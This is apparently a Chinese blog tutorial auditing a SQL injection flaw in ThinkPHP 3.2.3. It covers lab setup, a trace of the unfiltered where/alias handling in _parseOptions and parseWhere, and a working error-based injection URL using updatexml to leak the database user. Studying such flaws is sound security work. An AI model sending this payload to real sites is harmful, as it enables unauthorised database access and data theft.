代码审计-ThinkPHP3.2.3框架漏洞

1.阅读目录

web目录:代码审计-ThinkPHP3.2.3框架漏洞_数组thinkphp架构目录: 代码审计-ThinkPHP3.2.3框架漏洞_数据库_02

熟悉web目录结构,ThinkPHP框架目录结构

www  WEB部署目录(或者子目录)
├─index.php       入口文件
├─README.md       README文件
├─Application     应用目录
├─Public          资源文件目录
└─ThinkPHP        框架目录
├─ThinkPHP 框架系统目录(可以部署在非web目录下面)
│  ├─Common       核心公共函数目录
│  ├─Conf         核心配置目录 
│  ├─Lang         核心语言包目录
│  ├─Library      框架类库目录
│  │  ├─Think     核心Think类库包目录
│  │  ├─Behavior  行为类库目录
│  │  ├─Org       Org类库包目录
│  │  ├─Vendor    第三方类库目录
│  │  ├─ ...      更多类库目录
│  ├─Mode         框架应用模式目录
│  ├─Tpl          系统模板目录
│  ├─LICENSE.txt  框架授权协议文件
│  ├─logo.png     框架LOGO文件
│  ├─README.txt   框架README文件
│  └─ThinkPHP.php 框架入口文件

2.搭建项目环境

环境要求:

(1)PHP版本:PHP5.3以上版本(注意:PHP5.3dev版本和PHP6均不支持

(2)支持的服务器和数据库环境

  • 支持Windows/Unix服务器环境
  • 可运行于包括Apache、IIS和nginx在内的多种WEB服务器和模式
  • 支持Mysql、MsSQL、PgSQL、Sqlite、Oracle、Ibase、Mongo等多种数据库和连接

(3)Model.class.php:位于ThinkPHP\Library\Think\Model.class.php

​ 作用:对数据的连贯操作,如where、order、select、limit等

代码审计-ThinkPHP3.2.3框架漏洞_数组_03

(4)Driver.class.php:ThinkPHP\Library\Think\DB\Driver.class.php

​ 作用:数据库条件分析、各种操作数据库,和安全相关的有excute,join,table;limit函数有强转

代码审计-ThinkPHP3.2.3框架漏洞_sql_04

项目搭建:

1.新建数据库,添加表和字段

代码审计-ThinkPHP3.2.3框架漏洞_数据库_05代码审计-ThinkPHP3.2.3框架漏洞_sql_06

2.访问index.php,

代码审计-ThinkPHP3.2.3框架漏洞_目录结构_07

此时Thinkphp目录会生成一个Application的目录

代码审计-ThinkPHP3.2.3框架漏洞_php_08

目录结构:

Application

├─Common 应用公共模块

│ ├─Common 应用公共函数目录

│ └─Conf 应用公共配置文件目录

├─Home 默认生成的Home模块

│ ├─Conf 模块配置文件目录

│ ├─Common 模块函数公共目录

│ ├─Controller 模块控制器目录

│ ├─Model 模块模型目录

│ └─View 模块视图文件目录

├─Runtime 运行时目录

│ ├─Cache 模版缓存目录

│ ├─Data 数据目录

│ ├─Logs 日志目录

│ └─Temp 缓存目录

3.修改 ApplicationHome/Controller/IndexController.class.php 文件代码,内容如下:

<?php namespace HomeController;use ThinkController;class IndexController extends Controller {
    public function index(){
        $condition["name"] = I("name");
        $data["pass"] = "2000";
        $result = M("users")->where($condition)->save($data);
    }
   }

代码审计-ThinkPHP3.2.3框架漏洞_数据库_09

4.配置连接数据库的文件 Application/Common/Conf/config.php ,内容如下:

<?php return array(
    'DB_TYPE'   => 'mysql', // 数据库类型
    'DB_HOST'   => 'localhost', // 服务器地址
    'DB_NAME'   => 'thinkphp', // 数据库名
    'DB_USER'   => 'root', // 用户名
    'DB_PWD'    => 'root', // 密码
    'DB_PORT'   => 3306, // 端口
    'DB_PREFIX' => '', // 数据库表前缀 
    'DB_CHARSET'=> 'utf8', // 字符集
    'DB_DEBUG'  =>  TRUE, // 数据库调试模式 开启后可以记录SQL日志 3.2.3新增);
    );

二,0x01 注入成因:

ThinkPHP/Application/Home/Controller/IndexController.class.php,添加如下代码

    public function index2(){
//        $data = M('user')-> where('username = "admin"')->select();
//        dump($data);
        $id = i('id');
        $res = M('user')->find($id);
}

代码审计-ThinkPHP3.2.3框架漏洞_数组_10

断点测试,没问题

thinkphp/ThinkPHP/Common/functions.php,判断提交方式

代码审计-ThinkPHP3.2.3框架漏洞_数据库_11

重点观察参数过滤处

代码审计-ThinkPHP3.2.3框架漏洞_目录结构_12

代码审计-ThinkPHP3.2.3框架漏洞_目录结构_13

think_filter函数,过滤了一些特殊字符,但是还是又部分字符没被过滤掉,如:updatexml,extractvalue报错函数

代码审计-ThinkPHP3.2.3框架漏洞_数组_14

protected function parseSet($data) {
        foreach ($data as $key=>$val){
            if(is_array($val) && 'exp' == $val[0]){
                $set[]  =   $this->parseKey($key).'='.$val[1];
            }elseif(is_null($val)){
                $set[]  =   $this->parseKey($key).'=NULL';
            }elseif(is_scalar($val)) {// 过滤非标量数据
                if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
                    $set[]  =   $this->parseKey($key).'='.$this->escapeString($val);
                }else{
                    $name   =   count($this->bind);
                    $set[]  =   $this->parseKey($key).'=:'.$name;
                    $this->bindParam($name,$val);
                }
            }
        }
        return ' SET '.implode(',',$set);
    }

​ parseSet函数,可以看到提交的字符被当做占位符

_parseOptions方法:

if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
            $options = array_merge($this->options, $options);
        }
 
        if (!isset($options['table'])) {//判断是否设置了table 没设置进这里
            // 自动获取表名
            $options['table'] = $this->getTableName();
            $fields           = $this->fields;
        } else {
            // 指定数据表 则从新获取字段列表 但不支持类型检测
            $fields = $this->getDbFields(); //设置了进这里
        }
 
        // 数据表别名
        if (!empty($options['alias'])) {//判断是否设置了数据表别名
            $options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了
        }
        // 记录操做的模型名称
        $options['model'] = $this->name;
 
        // 字段类型验证
        if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里
            // 对数组查询条件进行字段类型检查
           ......
        }
        // 查询事后清空sql表达式组装 避免影响下次查询
        $this->options = array();
        // 表达式过滤
        $this->_options_filter($options);
        return $options;

当咱们传入的值不为数组,直接进行解析返回带进查询,没有任何过滤。

同时$options['where']也同样,看到parseWhere函数

\(whereStr = ''; if (is_string(\)where)) {
// 直接使用字符串条件
$whereStr = $where; //直接返回了,没有任何过滤
} else {
// 使用数组表达式
......
}

0x02 漏洞利用

index.php?m=Home&c=Index&a=index2&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)--

代码审计-ThinkPHP3.2.3框架漏洞_sql_15

发现无法加载数据库驱动,查阅资料,大致有两个原因。一个是目录的问题,一个是配置项缺少或者增加时有问题。

应该在Common目录下的conf目录下的config.php进行数据库的配置,不是在Home目录下的conf目录下的config.php

代码审计-ThinkPHP3.2.3框架漏洞_sql_16

代码审计-ThinkPHP3.2.3框架漏洞_目录结构_17

代码审计-ThinkPHP3.2.3框架漏洞_数组_18